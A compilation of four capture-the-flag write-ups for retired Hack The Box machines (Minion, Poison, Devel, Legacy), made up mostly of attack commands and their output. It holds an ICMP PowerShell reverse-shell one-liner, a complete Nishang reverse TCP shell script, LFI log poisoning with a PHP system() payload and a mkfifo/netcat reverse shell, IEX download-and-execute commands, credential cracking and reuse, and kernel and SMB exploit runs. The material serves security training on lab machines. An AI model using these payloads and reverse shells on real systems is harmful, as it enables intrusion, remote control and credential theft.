htb-minion-nl

Today we are going to solve another CTF challenge “Minion” which is available online for those who want to increase their skill in penetration testing and black box testing. Minion is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.

Level: Expert

Task: find user.txt and root.txt file on victim’s machine.

Since these labs are online available therefore they have static IP and IP of Minion is 10.10.10.57 so let’s begin with nmap port enumeration.

root@kali:~/htb/minion# nmap -sV -p- 10.10.10.57
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-31 15:44 CET
Nmap scan report for 10.10.10.57
Host is up (0.027s latency).
Not shown: 65534 filtered ports
PORT STATE SERVICE VERSION
62696/tcp open http Microsoft IIS httpd 8.5
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 842.77 seconds

We don’t find anything on the webpage, so we run dirb to enumerate the directories. As the target machine is running Microsoft IIS server we try to find .asp file.

root@kali:~/htb/minion# dirb http://10.10.10.57:62696 -X .asp

-----------------
DIRB v2.22 
By The Dark Raver
-----------------

START_TIME: Thu Jan 31 16:10:15 2019
URL_BASE: http://10.10.10.57:62696/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.asp) | (.asp) [NUM = 1]

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://10.10.10.57:62696/ ----
+ http://10.10.10.57:62696/test.asp (CODE:200|SIZE:41) 

-----------------
END_TIME: Thu Jan 31 16:12:29 2019
DOWNLOADED: 4612 - FOUND: 1

After enumerating this system, we find that this page is vulnerable to SSRF. So when we try access localhost we find a link called system commands.

As we are not directly accessing the page, we take a look at the source code and find the link to system command.

We open it using SSRF and find a form that can be used to execute our commands.

When we try to execute a command we are unable to. So we take a look at the source code of the page and find the parameter that is being used to pass the command we type.

After finding the parameter we use it pass our command and we find that we only get a response in terms of Exit Status. Exit Status = 1 for successful and Exit Status = 0 in case of errors.

Now when we try to get a reverse shell we are unable to, it is possible that TCP and UDP packets are blocked. So we ping ourselves using this RCE vulnerability to check if ICMP packet is allowed.

Hmmmm… The method is POST and the parameter is named “xcmd”. Nevertheless, let’s make an experiment. We are going to use the GET method and pass the xcmd parameter via the URL. We will set the xcmd = ping 10.10.14.15:

On our side, let’s see if we capture any pings coming from MINION (10.10.10.57):

Getting shell

It’s time for us to get a shell. On our side we can run icmpsh_m.py from https://github.com/inquisb/icmpsh and on MINION we can send this payload: https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellIcmp.ps1
The problem is that if we try to send this payload via the xcmd paremeter some symbols are getting filtered (“+”, “&”, “/”) and there is also a size limit. We can double url-encode the special symbols to pass them through. We can also use multiple “echo >>” commands to write a ps1 script file and indeed many guys followed that path. But Alamot wrote his -very compact- one-liner payload without using any “+”,”&” symbols:

$ip = 'LHOST'; $id = 'UNIQUEID'; $ic = New-Object System.Net.NetworkInformation.Ping; $po = New-Object System.Net.NetworkInformation.PingOptions; $po.DontFragment=$true; function s($b) { $ic.Send($ip,5000,([text.encoding]::ASCII).GetBytes($b),$po) }; function p { -join($id,'[P$] ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ') }; while ($true) { $r = s(p); if (!$r.Buffer) { continue; }; $rs = ([text.encoding]::ASCII).GetString($r.Buffer);  if ($rs.Substring(0,8) -ne $id) { exit }; try { $rt = (iex -Command $rs.Substring(8) | Out-String); } catch { $rt = ($_.Exception|out-string) }; $i=0; while ($i -lt $rt.length-110) { s(-join($id,$rt.Substring($i,110))); $i -= -110; }; s(-join($id,$rt.Substring($i))); }

You can see he did some tricks like using $i -= -110 instead of $i += 110 etc. Thescript has a feature of unique ids, because -when using the ICMP protocol- things can get quite messy if multiple payloads are running simultaneously. You can download his script from here: https://github.com/Alamot/code-snippets/blob/master/hacking/HTB/Minion/icmp_alamot.py

Now, let’s get a shell (don’t forget to change LHOST inside the script):

root@kali:~/htb# python icmp_alamot.py 
Sending powershell ICMP payload [UID=84444eaf] and waiting for shell...
[P$] iis apppool\defaultapppool@MINION inetsrv> dir c:\


Directory: C:\


Mode LastWriteTime Length Name 
---- ------------- ------ ---- 
d---- 9/4/2017 7:42 PM accesslogs 
d---- 8/10/2017 10:43 AM inetpub 
d---- 8/22/2013 8:52 AM PerfLogs 
d-r-- 9/25/2017 1:51 AM Program Files 
d---- 8/10/2017 9:42 AM Program Files (x86) 
d---- 8/24/2017 1:28 AM sysadmscripts 
d---- 9/16/2017 2:41 AM temp 
d-r-- 9/4/2017 7:41 PM Users 
d---- 9/10/2017 10:20 AM Windows


[P$] iis apppool\defaultapppool@MINION inetsrv>

The folder sysadmscripts seems interesting:

We go to root directory and find two files called “c.ps1” and “del_logs.bat”.

We take a look at the content of the file, and find that c.ps1 writes something inside a file that is passed as its argument. In “del_logs.bat” file it creates logs inside log.txt inside c:\windows\temp\ directory and find that the time is changed every 5 minutes.

Let’s examine the permissions in the sysadmscripts folder:

[P$] apppool\defaultapppool@MINION sysadmscripts> ls | get-acl | fl

Path   : Microsoft.PowerShell.Core\FileSystem::C:\sysadmscripts\c.ps1
Owner  : BUILTIN\Administrators
Group  : MINION\None
Access : Everyone Allow  FullControl
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         BUILTIN\Users Allow  FullControl
Audit  : 
Sddl   : O:BAG:S-1-5-21-2506507270-770315343-2455145413-513D:PAI(A;;FA;;;WD)(A;
         ;FA;;;SY)(A;;FA;;;BA)(A;;FA;;;BU)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\sysadmscripts\del_logs.bat
Owner  : BUILTIN\Administrators
Group  : MINION\None
Access : Everyone Allow  ReadAndExecute, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         BUILTIN\Users Allow  ReadAndExecute, Synchronize
Audit  : 
Sddl   : O:BAG:S-1-5-21-2506507270-770315343-2455145413-513D:PAI(A;;0x1200a9;;;
         WD)(A;;FA;;;SY)(A;;FA;;;BA)(A;;0x1200a9;;;BU)

User decoder runs the script c.ps1 every 5 minutes and we can overwrite it with our own payload.

Now we change the original c.ps1 with our file, so that we can try and get the user.txt and root.txt.

[P$] iis apppool\defaultapppool@MINION sysadmscripts> echo "dir c:\users\administrator\Desktop > c:\temp\output.txt" > c:\temp\test.ps1
[P$] iis apppool\defaultapppool@MINION sysadmscripts> echo "dir c:\users\decoder.MINION\Desktop >> c:\temp\output.txt" >> c:\temp\test.ps1
[P$] iis apppool\defaultapppool@MINION sysadmscripts> echo "copy c:\users\administrator\Desktop\root.txt c:\temp\root.txt" >> c:\temp\test.ps1
[P$] iis apppool\defaultapppool@MINION sysadmscripts> echo "copy c:\users\decoder.MINION\Desktop\* c:\temp\" >> c:\temp\test.ps1
[P$] iis apppool\defaultapppool@MINION sysadmscripts> (Get-Content c:\temp\test.ps1) | ForEach-Object { $_ -replace """", "" } | Set-Content c:\temp\test.ps1
[P$] iis apppool\defaultapppool@MINION sysadmscripts> copy c:\sysadmscripts\c.ps1 c:\temp\c.ps1.bak
[P$] iis apppool\defaultapppool@MINION sysadmscripts> copy c:\temp\test.ps1 c:\sysadmscripts\c.ps1
[P$] iis apppool\defaultapppool@MINION sysadmscripts> cd c:\temp
[P$] iis apppool\defaultapppool@MINION temp> dir


Directory: C:\temp


Mode LastWriteTime Length Name 
---- ------------- ------ ---- 
-a--- 9/4/2017 7:19 PM 103297 backup.zip 
-a--- 9/26/2017 6:24 AM 284 c.ps1.bak 
-a--- 1/31/2019 6:01 AM 770 output.txt 
-a--- 1/31/2019 5:59 AM 228 test.ps1 
-a--- 8/25/2017 11:09 AM 33 user.txt


[P$] iis apppool\defaultapppool@MINION temp> type user.txt
40b******601
[P$] iis apppool\defaultapppool@MINION temp> get-content c:\temp\backup.zip -str pass
28a5d1e0c15af9f8fce7db65d75bbf17
-> We decode the NTLM hash using hashkiller.co.uk and find the password to be 1234test

[P$] iis apppool\defaultapppool@MINION temp> net use * \\minion\c$ /user:minion\administrator 1234test
Drive Z: is now connected to \\minion\c$.

The command completed successfully.

[P$] iis apppool\defaultapppool@MINION temp> z:
[P$] iis apppool\defaultapppool@MINION Z:\> dir


Directory: Z:\


Mode LastWriteTime Length Name 
---- ------------- ------ ---- 
d---- 9/4/2017 7:42 PM accesslogs 
d---- 8/10/2017 10:43 AM inetpub 
d---- 8/22/2013 8:52 AM PerfLogs 
d-r-- 9/25/2017 1:51 AM Program Files 
d---- 8/10/2017 9:42 AM Program Files (x86) 
d---- 8/24/2017 1:28 AM sysadmscripts 
d---- 1/31/2019 6:01 AM temp 
d-r-- 9/4/2017 7:41 PM Users 
d---- 9/10/2017 10:20 AM Windows


[P$] iis apppool\defaultapppool@MINION Z:\> cd users
[P$] iis apppool\defaultapppool@MINION users> cd administrator
[P$] iis apppool\defaultapppool@MINION administrator> cd desktop
[P$] iis apppool\defaultapppool@MINION desktop> 


Directory: Z:\users\administrator\desktop


Mode LastWriteTime Length Name 
---- ------------- ------ ---- 
-a--- 9/26/2017 6:18 AM 386479 root.exe 
-a--- 8/24/2017 12:32 AM 76 root.txt


[P$] iis apppool\defaultapppool@MINION desktop> type root.txt
In order to get the flag you have to launch root.exe located in this folder!

We wait for few minutes for the powershell script to get executed and find that we were able to successfully able to extract “user.txt”. Before looking in the zip backup file, we take a look at the content of “output.txt” and find that the file was in “c:\users\decoder.MINION\Desktop” directory.

c:\PENTEST\HASHCAT>hashcat32 -h | findstr NTLM
   5500 | NetNTLMv1                                        | Network Protocols
   5500 | NetNTLMv1+ESS                                    | Network Protocols
   5600 | NetNTLMv2                                        | Network Protocols
   1000 | NTLM                                             | Operating Systems
c:\PENTEST\HASHCAT>hashcat32 -a0 -m 1000 28a5d1e0c15af9f8fce7db65d75bbf17 e:\oscp\rockyou.txt --force --show
28a5d1e0c15af9f8fce7db65d75bbf17:1234test

We try to run root.exe but are unable to get a flag because we are not Administrator yet.

[P$] iis apppool\defaultapppool@MINION desktop> $user = '.\administrator';$psw = '1234test';$secpsw= ConvertTo-SecureString $psw -AsPlainText -Force;$credential = New-Object System.Management.Automation.PSCredential $user, $secpsw
[P$] iis apppool\defaultapppool@MINION desktop> invoke-command -computername localhost -credential $credential -scriptblock {cd C:\Users\Administrator\Desktop\;C:\Users\Administrator\Desktop\root.exe}
25a*****cf1

Adding a firewall rule ( as Administrator )

[P$] iis apppool\defaultapppool@MINION desktop> $user = '.\administrator';$psw = '1234test';$secpsw= ConvertTo-SecureString $psw -AsPlainText -Force;$credential = New-Object System.Management.Automation.PSCredential $user, $secpsw [P$] iis apppool\defaultapppool@MINION desktop> invoke-command -computername localhost -credential $credential -scriptblock {New-NetFirewallRule - DisplayName puckie -RemoteAddress 10.10.14.15 -Direction inbound -Action Allow}

Author: Puckiestyle

HTB – Poison

Hello everyone and welcome to yet another CTF challenge from Hack the Box, called ‘Poison,’ which is available online for those who want to increase their skills in penetration testing and black box testing. Poison is a retired vulnerable lab presented by Hack the Box for making online penetration testing practice suitable to your experience level; they have a large collection of vulnerable labs as challenges ranging from beginner to expert level.

Level: Easy

Task: Find user.txt and root.txt in victim’s machine

Let’s get started with a basic nmap scan.

c:\Users\jacco>nmap -sC 10.10.10.84
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-29 13:29 W. Europe Standard Time
Nmap scan report for 10.10.10.84
Host is up (0.024s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
| ssh-hostkey:
|   2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA)
|   256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA)
|_  256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519)
80/tcp open  http
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).

Nmap done: 1 IP address (1 host up) scanned in 22.88 seconds

It was clear by reading the webpage that there was an LFI vulnerability involved. We tested it by inputting /etc/passwd in the scriptname section.

c:\Users\jacco>curl http://10.10.10.84/browse.php?file=../../../../../etc/passwd
# $FreeBSD: releng/11.1/etc/master.passwd 299365 2016-05-10 12:47:36Z bcr $
#
root:*:0:0:Charlie &:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5:System &:/:/usr/sbin/nologin
--snip--
avahi:*:558:558:Avahi Daemon User:/nonexistent:/usr/sbin/nologin
cups:*:193:193:Cups Owner:/nonexistent:/usr/sbin/nologin
charix:*:1001:1001:charix:/home/charix:/bin/csh

c:\Users\jacco>

From here we found that the username was “charix.” 

We open the browser, and visit Poison Box web-site.

PoisonBoxWeb

PoisonBoxWebListFiles

As we can see, it lists web files. There is a file that very special (pwdbackup.txt)! What does this file contain?

c:\Python37>
c:\Python37> curl http://10.10.10.84/browse.php?file=pwdbackup.txt
This password is secure, it's encoded atleast 13 times.. what could go wrong really..

Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU
--snip--
VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO
Ukd4RVdub3dPVU5uUFQwSwo=

c:\Python37>type devel.py
import base64


string = """
Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU
bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS
bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW
M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs
WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy
eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G
WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw
MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa
T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k
WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk
WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0
NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT
Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz
WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW
VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO
Ukd4RVdub3dPVU5uUFQwSwo= """

def decode(b64_string, iterations):
i = 0
while i < iterations:
b64_string = base64.b64decode(b64_string).decode('utf-8')
i += 1
print(b64_string)

decode(string, 13)
c:\Python37>python devel.py
Charix!2#4%6&8(0

c:\Python37>

Alternate route to use – Log Poisoning

One of the well-known LFI to RCE techniques is Log poisoning wherein you can manipulate your User-Agent and then execute code through the logs. The apache logs on FreeBSD are located in /var/log.

As you can see above, user-agents are logged into the file. Let’s change ours to a simple php request .

You can see the warning about the empty system command. Time to do the magic, or maybe poisoning here.

GET /browse.php?file=../../../../../var/log/httpd-access.log&&cmd=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+|+nc+10.10.14.15+1337+>/tmp/f HTTP/1.1
Host: 10.10.10.84
User-Agent: <?php system($_REQUEST['cmd']) ?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: nl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Alright! We have RCE!!! To translate this into a shell, we just have to setup a netcat listener and pass something like rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i | nc 10.10.14.15 1337 >/tmp/f to the cmd parameter.

Next we tried logging in to SSH.

And just like that we were logged in! We found the first flag (user.txt) and another file called secret.zip

We tried unzipping it on the spot but it didn’t work. So, instead we transferred the file to our system using scp

root@kali:~/htb/poison# scp charix@10.10.10.84:secret.zip /htb/poison.zip
Password for charix@Poison:Charix!2#4%6&8(0
secret.zip 
root@kali:~/htb/poison#cd /htb
root@kali:~/htb#unzip poison.zip
Archive: poison
[poison] secret password:Charix!2#4%6&8(0
extracting: secret

We got a file “secret” which could be the password of another service.

We were far from convinced that no other service was running so we scanned the victim using sockstat.

charix@Poison:~ % sockstat -4 -l
USER COMMAND PID FD PROTO LOCAL ADDRESS FOREIGN ADDRESS 
www httpd 1891 4 tcp4 *:80 *:*
root sendmail 642 3 tcp4 127.0.0.1:25 *:*
www httpd 641 4 tcp4 *:80 *:*
www httpd 640 4 tcp4 *:80 *:*
www httpd 639 4 tcp4 *:80 *:*
www httpd 638 4 tcp4 *:80 *:*
www httpd 637 4 tcp4 *:80 *:*
root httpd 625 4 tcp4 *:80 *:*
root sshd 620 4 tcp4 *:22 *:*
root Xvnc 529 1 tcp4 127.0.0.1:5901 *:*
root Xvnc 529 3 tcp4 127.0.0.1:5801 *:*
root syslogd 390 7 udp4 *:514 *:*
charix@Poison:~ %

We followed the SSH tunneling methodology (refer here)

root@kali:~/htb/poison# ssh -L 5901:127.0.0.1:5901 charix@10.10.10.84
Password for charix@Poison:Charix!2#4%6&8(0
Last login: Mon Jan 28 15:54:32 2019 from 10.10.14.14
FreeBSD 11.1-RELEASE (GENERIC) #0 r321309: Fri Jul 21 02:08:28 UTC 2017

Welcome to FreeBSD!
charix@Poison:~ %

 We saw authentication successful tag!

What was left now but to:

Author: Jacco Straathof

htb-devel-nl

Today we are going to solve another CTF challenge “Devel” which is categories as retired lab presented by Hack the Box for making online penetration practices. Challenges in this lab are very easy to complete even for beginners.

Level: Beginners

Task: find user.txt and root.txt file on victim’s machine.

Since these labs are online accessible therefore they have static IP. The IP of Devel is 10.10.10. 5 so let’s initiate with nmap port enumeration.

root@kali:~/htb/devel# nmap -sC 10.10.10.5
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-27 18:44 CET
Nmap scan report for 10.10.10.5
Host is up (0.027s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE
21/tcp open ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17 01:06AM <DIR> aspnet_client
| 01-24-19 07:42PM 2834 devel.aspx
| 01-27-19 10:59AM 2859 file.aspx
| 01-26-19 11:41AM 2857 gay.aspx
| 03-17-17 04:37PM 689 iisstart.htm
| 01-25-19 12:47PM 2877 mshell.aspx
| 01-26-19 11:46AM 0 nogay.aspx
| 01-26-19 11:42PM 2876 task.aspx
| 01-27-19 08:10AM 6 test.html
|_03-17-17 04:37PM 184946 welcome.png
| ftp-syst: 
|_ SYST: Windows_NT
80/tcp open http
| http-methods: 
|_ Potentially risky methods: TRACE
|_http-title: IIS7

Nmap done: 1 IP address (1 host up) scanned in 24.69 seconds

By using anonymous login credential you will get successfully access of FTP server via port 21.

root@kali:~/htb/devel# ftp 10.10.10.5
Connected to 10.10.10.5.
220 Microsoft FTP Service
Name (10.10.10.5:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
03-18-17  01:06AM       <DIR>          aspnet_client
01-24-19  07:42PM                 2834 devel.aspx
01-27-19  10:59AM                 2859 file.aspx
01-26-19  11:41AM                 2857 gay.aspx
03-17-17  04:37PM                  689 iisstart.htm
01-25-19  12:47PM                 2877 mshell.aspx
01-26-19  11:46AM                    0 nogay.aspx
01-26-19  11:42PM                 2876 task.aspx
01-27-19  08:10AM                    6 test.html
03-17-17  04:37PM               184946 welcome.png
226 Transfer complete.
ftp> bin
200 Type set to I.
ftp> put shell.aspx
local: shell.aspx remote: shell.aspx
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
2817 bytes sent in 0.00 secs (47.1316 MB/s)
ftp>

We can see that an aspnet_client is present, so we try and upload an aspx webshell from the/usr/share/webshells/aspx folder in our Kali Linux machine.

This allows us to run system commands as the web server. We can now see more information about the system.

Without wasting time we used Nishang’s based puckieshell443.ps1

function Invoke-PowerShellTcp 
{ 
  
    [CmdletBinding(DefaultParameterSetName="reverse")] Param(

        [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
        [String]
        $IPAddress,

        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
        [Int]
        $Port,

        [Parameter(ParameterSetName="reverse")]
        [Switch]
        $Reverse,

        [Parameter(ParameterSetName="bind")]
        [Switch]
        $Bind

    )

    
    try 
    {
        #Connect back if the reverse switch is used.
        if ($Reverse)
        {
            $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
        }

        #Bind to the provided port if Bind switch is used.
        if ($Bind)
        {
            $listener = [System.Net.Sockets.TcpListener]$Port
            $listener.start()    
            $client = $listener.AcceptTcpClient()
        } 

        $stream = $client.GetStream()
        [byte[]]$bytes = 0..65535|%{0}

        #Send back current username and computername
        $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
        $stream.Write($sendbytes,0,$sendbytes.Length)

        #Show an interactive PowerShell prompt
        $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
        $stream.Write($sendbytes,0,$sendbytes.Length)

        while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
        {
            $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
            $data = $EncodedText.GetString($bytes,0, $i)
            try
            {
                #Execute the command on the target.
                $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
            }
            catch
            {
                Write-Warning "Something went wrong with execution of command on the target." 
                Write-Error $_
            }
            $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '
            $x = ($error[0] | Out-String)
            $error.clear()
            $sendback2 = $sendback2 + $x

            #Return the results
            $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
            $stream.Write($sendbyte,0,$sendbyte.Length)
            $stream.Flush()  
        }
        $client.Close()
        if ($listener)
        {
            $listener.Stop()
        }
    }
    catch
    {
        Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port." 
        Write-Error $_
    }
}
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.15 -Port 443

Then transfer your puckieshell443.ps1 file into victims’ system

c:\Python37>python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.5 - - [06/Feb/2019 15:05:51] "GET /puckieshell443.ps1 HTTP/1.1" 200 -
powershell IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.15/puckieshell443.ps1')

Now time to execute our shell through a web browser as shown below in the image.

http://10.10.10.5/cmdpuck.aspx

 

After executing uploaded backdoor file come back to Netcat Listener and wait for session.

c:\PENTEST>nc -lvp 443
listening on [any] 443 ...
10.10.10.5: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [10.10.14.15] from (UNKNOWN) [10.10.10.5] 49163: NO_DATA
Windows PowerShell running as user DEVEL$ on DEVEL
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\windows\system32\inetsrv>whoami
iis apppool\web

Then I run a post Sherlock exploit

PS C:\windows\temp> iex(new-object net.webclient).downloadstring('http://10.10.14.15/Sherlock.ps1')


Title      : User Mode to Ring (KiTrap0D)
MSBulletin : MS10-015
CVEID      : 2010-0232
Link       : https://www.exploit-db.com/exploits/11199/
VulnStatus : Appears Vulnerable

Title      : Task Scheduler .XML
MSBulletin : MS10-092
CVEID      : 2010-3338, 2010-3888
Link       : https://www.exploit-db.com/exploits/19930/
VulnStatus : Appears Vulnerable

Title      : ClientCopyImage Win32k
MSBulletin : MS15-051
CVEID      : 2015-1701, 2015-2433
Link       : https://www.exploit-db.com/exploits/37367/
VulnStatus : Appears Vulnerable

We use the windows exploit suggester against the systeminfo and note that this machine is vulnerable to MS10-059 and MS11-046.

https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS10-059/MS10-059.exe
c:\Python37>python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.5 - - [06/Feb/2019 19:23:11] "GET /puckieshell443.ps1 HTTP/1.1" 200 -
10.10.10.5 - - [06/Feb/2019 19:30:21] "GET /MS10-059.exe HTTP/1.1" 200 -
PS C:\windows\temp> (new-object net.webclient).downloadfile('http://10.10.14.20/MS10-059.exe', 'C:\windows\temp\MS10-059.exe')
PS C:\windows\temp> dir MS10-059.exe


    Directory: C:\windows\temp


Mode                LastWriteTime     Length Name
----                -------------     ------ ----
-a---         10/2/2019   3:37 ??      51434 lp.exe
-a---         10/2/2019   4:24 ??     784384 MS10-059.exe

PS C:\windows\temp> ./MS10-059.exe 10.10.14.20 9876

/Chimichurri/-->This exploit gives you a Local System shell <BR>/Chimichurri/-->Changing registry values...<BR>/Chimichurri/-->Got SYSTEM token...<BR>/Chimichurri/-->Running reverse shell...<BR>/Chimichurri/-->Restoring default registry values...<BR>

Wonderful!! We had completed the task and hacked this box.

C:\Users\jacco>nc -lvp 9876
listening on [any] 9876 ...
10.10.10.5: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [10.10.14.20] from (UNKNOWN) [10.10.10.5] 49170: NO_DATA
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\users\public>whoami
whoami
nt authority\system
c:\Users\Administrator\Desktop>type root.txt.txt
type root.txt.txt
e62*****b4b

 

PS C:\windows\temp> (New-Object System.Net.WebClient).DownloadFile("http://10.10.14.20/MS10-015.zip", "C:\Windows\Temp\MS10-015.zip")

A simple way of using ExtractToDirectory from System.IO.Compression.ZipFile:

Add-Type -AssemblyName System.IO.Compression.FileSystem
function unzip {
    param( [string]$ziparchive, [string]$extractpath )
    [System.IO.Compression.ZipFile]::ExtractToDirectory( $ziparchive, $extractpath )
}

unzip "D:\file.zip" "C:\temp"

 

Author: Puckiestyle

htb-legacy-nl

Today we are going to solve another CTF challenge “Legacy” which is lab presented by Hack the Box for making online penetration practices according to your experience level. They have collection of vulnerable labs as challenges from beginners to Expert level. HTB have two partitions of lab i.e. Active and retired since we can’t submit write up of any Active lab therefore we have chosen retried Legacy lab.

Level: Beginners

Task: find user.txt and root.txt file in victim’s machine.

Let’s start with a basic nmap scan

As we know in windows XP Port 445 was vulnerable to netapi exploit and it was a remarkable vulnerbality in SMB protcol.

root@kali:~/htb/legacy# nmap -sS -sV -Pn 10.10.10.4 
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-26 18:57 CET 
Nmap scan report for 10.10.10.4 
Host is up (0.16s latency). 
Not shown: 997 filtered ports 
PORT STATE SERVICE VERSION 
139/tcp open netbios-ssn Microsoft Windows netbios-ssn 
445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds 
3389/tcp closed ms-wbt-server 
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 
Nmap done: 1 IP address (1 host up) scanned in 55.53 seconds

Let confirm SMB vulnerability in victims system using namp script.

Then I run msfconsole command in terminal and load metasploit framework for using eternal blue module for exploiting target machine.

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(windows/smb/ms08_067_netapi) > set rhost 10.10.10.4
rhost => 10.10.10.4
msf exploit(windows/smb/ms08_067_netapi) > check
[+] 10.10.10.4:445 - The target is vulnerable.
msf exploit(windows/smb/ms08_067_netapi) > exploit

[*] Started reverse TCP handler on 10.10.14.13:4444 
[*] 10.10.10.4:445 - Automatically detecting the target...
[*] 10.10.10.4:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 10.10.10.4:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 10.10.10.4:445 - Attempting to trigger the vulnerability...
[*] Sending stage (179779 bytes) to 10.10.10.4
[*] Meterpreter session 1 opened (10.10.14.13:4444 -> 10.10.10.4:1211) at 2019-01-26 18:52:19 +0100

meterpreter > shell
Process 808 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

Inside c:\Document and Setting \john \Desktop I found user.txt file

Inside c:\Document and Setting \Administrator\Desktop I found root.txt file

Without metasploit:

root@kali:~/htb# python MS08_067_2018.py 10.10.10.4 6 445
